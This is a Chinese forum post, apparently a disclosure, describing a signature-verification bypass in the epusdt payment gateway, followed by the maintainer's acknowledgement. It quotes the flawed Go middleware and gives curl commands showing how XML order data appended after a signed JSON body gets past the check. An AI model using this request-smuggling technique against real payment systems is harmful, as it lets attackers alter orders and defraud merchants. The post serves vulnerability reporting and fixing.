省流:不能零元购
先看一看这一段检查签名的 middleware:
// https://github.com/assimon/epusdt/blob/master/src/middleware/check_sign.go func CheckApiSign() echo.MiddlewareFunc { return func(next echo.HandlerFunc) echo.HandlerFunc { return func(ctx echo.Context) error { // 先读取所有 Body 内容 params, err := ioutil.ReadAll(ctx.Request().Body) if err != nil { return constant.SignatureErr } // 解码 JSON // 注意这里:go 的 json 解码是不管 json 后面的垃圾数据的 m := make(map[string]interface{}) err = json.Cjson.Unmarshal(params, &m) // err 被忽略了 // 这里的 signature 可以是任意类型 signature, ok := m["signature"] if !ok { return constant.SignatureErr } // 计算 signature checkSignature, err := sign.Get(m, config.GetApiAuthToken()) if err != nil { return constant.SignatureErr } // 虽然 signature 可以是任意类型,但是这里应该是安全的 // 因为 go 没有 js 双等于号的自动类型转换 if checkSignature != signature { return constant.SignatureErr } // 重置 Body // 注意 JSON 后面的垃圾数据会被保留 ctx.Request().Body = ioutil.NopCloser(bytes.NewBuffer(params)) return next(ctx) } } }
middleware 后面的 controller:
// https://github.com/assimon/epusdt/blob/master/src/model/request/order_request.go type CreateTransactionRequest struct { OrderId string `json:"order_id" validate:"required|maxLen:32"` Amount float64 `json:"amount" validate:"required|isFloat|gt:0.01"` NotifyUrl string `json:"notify_url" validate:"required"` Signature string `json:"signature" validate:"required"` RedirectUrl string `json:"redirect_url"` }
// https://github.com/assimon/epusdt/blob/master/src/controller/comm/order_controller.go func (c *BaseCommController) CreateTransaction(ctx echo.Context) (err error) { req := new(request.CreateTransactionRequest) // 这里用到了 echo.Context.Bind if err = ctx.Bind(req); err != nil { return c.FailJson(ctx, constant.ParamsMarshalErr) } if err = c.ValidateStruct(ctx, req); err != nil { return c.FailJson(ctx, err) } resp, err := service.CreateTransaction(req) if err != nil { return c.FailJson(ctx, err) } return c.SucJson(ctx, resp) }
echo.Context.Bind 支持多种 mimetype ,所以说应用层可以是 XML 编码,签名是 JSON 编码
// https://github.com/labstack/echo/blob/9e73691837f52c7fdf4898cbe5bf1d157387bdb0/bind.go#L68 func (b *DefaultBinder) BindBody(c Context, i interface{}) (err error) { req := c.Request() if req.ContentLength <= 0 { return } // mediatype is found like `mime.ParseMediaType()` does it base, _, _ := strings.Cut(req.Header.Get(HeaderContentType), ";") mediatype := strings.TrimSpace(base) switch mediatype { case MIMEApplicationJSON: case MIMEApplicationXML, MIMETextXML: if err = xml.NewDecoder(req.Body).Decode(i); err != nil { if ute, ok := err.(*xml.UnsupportedTypeError); ok { return NewHTTPError( http.StatusBadRequest, fmt.Sprintf("Unsupported type error: type=%v, error=%v", ute.Type, ute.Error())).SetInternal(err) } else if se, ok := err.(*xml.SyntaxError); ok { return NewHTTPError( http.StatusBadRequest, fmt.Sprintf("Syntax error: line=%v, error=%v", se.Line, se.Error())).SetInternal(err) } return NewHTTPError( http.StatusBadRequest, err.Error()).SetInternal(err) } case MIMEApplicationForm: ... case MIMEMultipartForm: ... default: return ErrUnsupportedMediaType } return nil }
假设我们已经拿到了一个合法的请求:
curl -d "{\"signature\": \"10744c8a11bcf22851274f7c7222fb4d\", \"amount\": 666.0, \"order_id\": \"2\", \"notify_url\": \"https://example.com\", \"redirect_url\": \"https://example.com\"}" -H "Content-Type: application/json" http://127.0.0.1:8000/api/v1/order/create-transaction
那么就可以把 Content-Type
改称 application/xml
,在 JSON 的后面附加上 XML 的请求。检查签名时会忽略后面的 XML 。
curl -d "{\"signature\": \"10744c8a11bcf22851274f7c7222fb4d\", \"amount\": 666.0, \"order_id\": \"2\", \"notify_url\": \"https://example.com\", \"redirect_url\": \"https://example.com\"}<P><OrderId>3</OrderId><Amount>99.9</Amount><NotifyUrl>https://example.com</NotifyUrl><RedirectUrl>https://example.com</RedirectUrl><Signature>1</Signature></P>" -H "Content-Type: application/xml" http://127.0.0.1:8000/api/v1/order/create-transaction {"status_code":200,"message":"success","data":{"trade_id":"2024***","order_id":"3","amount":99.9,"actual_amount":13.78,"token":"***","expiration_time":***,"payment_url":"https://example.com/pay/checkout-counter/2024***"},"request_id":"***"}
在检查签名的时候会用到前面的 JSON ,所以这个请求可以通过签名验证。但是在 controller 会把 Body 当成 XML 来解码,所以实际创建的订单的参数是后面的 XML 。
这个漏洞没啥用,因为一般情况下是拿不到合法的请求的
1 assimon 317 天前 嗯,这的确是一个问题,但是如果没有 apitoken 没有泄露的话,无论如何验签那一步是过不了的,所以后面的 xml 也不会被处理。 不过还是感谢反馈,我抽空会更新掉。 |